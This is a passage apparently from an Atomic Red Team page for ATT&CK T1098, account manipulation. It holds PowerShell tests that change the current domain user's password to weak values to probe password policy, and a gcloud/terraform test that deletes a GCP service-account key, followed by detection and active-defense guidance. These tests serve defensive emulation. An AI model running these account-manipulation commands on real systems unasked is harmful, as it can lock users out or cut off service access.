New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 14 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "UPPER-LONG-SPECIAL-333"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString UPPER-LONG-SPECIAL-333 -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to UPPER-LONG-SPECIAL-333"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "UPPER-LONG-SPECIAL-333" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 14

Atomic Test #15 - Domain Password Policy Check: Only Two Character Classes#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 15 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "onlyUPandLowChars"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString onlyUPandLowChars -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to onlyUPandLowChars"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "onlyUPandLowChars" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 15

Atomic Test #16 - Domain Password Policy Check: Common Password Use#

Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password. If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password. You can then run the atomic manually and specify a new password of your choosing, however the password policy will likely prevent you from setting the password back to what it was.

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: Password for current user must be stored in a credential file#
Check Prereq Commands:#
if (Test-Path $env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt) {exit 0} else {exit 1}
Get Prereq Commands:#
New-Item -Type Directory (split-path "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt") -ErrorAction Ignore | Out-Null
$cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
$cred.Password | ConvertFrom-SecureString | Out-File "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
Invoke-AtomicTest T1098 -TestNumbers 16 -GetPreReqs

Attack Commands: Run with powershell#

$credFile = "$env:LOCALAPPDATA\AtomicRedTeam\$env:USERNAME.txt"
if (Test-Path $credFile) {
    $cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)
    if($cred.GetNetworkCredential().Password -eq "Spring$((Get-Date).Year)!"){
      Write-Host -ForegroundColor Yellow "The new password is the same as the password stored in the credential file. Please specify a different new password."; exit -1
    }
    try {
        $newPassword = ConvertTo-SecureString Spring$((Get-Date).Year)! -AsPlainText -Force
        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword $cred.password -NewPassword $newPassword
    }
    catch { 
        $_.Exception
        $errCode = $_.Exception.ErrorCode
        Write-Host "Error code: $errCode"
        if ($errCode -eq 86) {
            Write-Host -ForegroundColor Yellow "The stored password for the current user is incorrect. Please run the prereq commands to set the correct credentials"
            Remove-Item $credFile
        }
        exit $errCode
    }
    Write-Host -ForegroundColor Cyan "Successfully changed the password to Spring$((Get-Date).Year)!"
    $newCred = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString "Spring$((Get-Date).Year)!" -AsPlainText -Force))
    $newCred.Password | ConvertFrom-SecureString | Out-File $credFile
}
else {
    Write-Host -ForegroundColor Yellow "You must store the password of the current user by running the prerequisite commands first"
}
Invoke-AtomicTest T1098 -TestNumbers 16

Atomic Test #17 - GCP - Delete Service Account Key#

This Atomic will:

  • Create a service account

  • Create a service account key,

  • Store the result of retrieving a single key for that service account as a variable

  • Pass that variable for deletion

  • Delete the service account

The idea for this Atomic came from a Rule published by the Elastic team.

Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best practice is to rotate your service account keys regularly.

Reference: elastic/detection-rules

Supported Platforms: iaas:gcp

Elevation Required (e.g. root or admin)

Dependencies: Run with sh!#

Description: Requires gcloud#
Check Prereq Commands:#
if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:#
echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install"
Description: Check if user is logged in#
Check Prereq Commands:#
gcloud config get-value account
Get Prereq Commands:#
gcloud auth login --no-launch-browser
Description: Check if terraform is installed.#
Check Prereq Commands:#
terraform version
Get Prereq Commands:#
echo Please install the terraform.
Description: Create dependency resources using terraform#
Check Prereq Commands:#
stat "$PathToAtomicsFolder/T1098/src/T1098-17/terraform.tfstate"
Get Prereq Commands:#
cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
terraform init
terraform apply -auto-approve
Invoke-AtomicTest T1098 -TestNumbers 17 -GetPreReqs

Attack Commands: Run with sh#

gcloud config set project atomic-test-1
KEY=`gcloud iam service-accounts keys list --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
gcloud iam service-accounts keys delete $KEY --iam-account=atomic-service-account@atomic-test-1.iam.gserviceaccount.com --quiet
Invoke-AtomicTest T1098 -TestNumbers 17

Cleanup:#

cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
terraform state rm google_service_account_key.key
terraform destroy -auto-approve
Invoke-AtomicTest T1098 -TestNumbers 17 -Cleanup

Detection#

Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)

Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.

Monitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts

Shield Active Defense#

System Activity Monitoring#

Collect system activity logs which can reveal adversary activity.

Capturing system logs can show logins, user and system events, etc. Collecting this data and potentially sending it to a centralized location can help reveal the presence of an adversary and the actions they perform on a compromised system.

Opportunity#

There is an opportunity to create a detection with a moderately high probability of success.

Use Case#

A defender can implement monitoring to alert if a user account is altered outside normal business hours, from remote locations, etc.

Procedures#

Ensure that systems capture and retain common system level activity artifacts that might be produced. Monitor Windows systems for event codes that reflect an adversary changing passwords, adding accounts to groups, etc.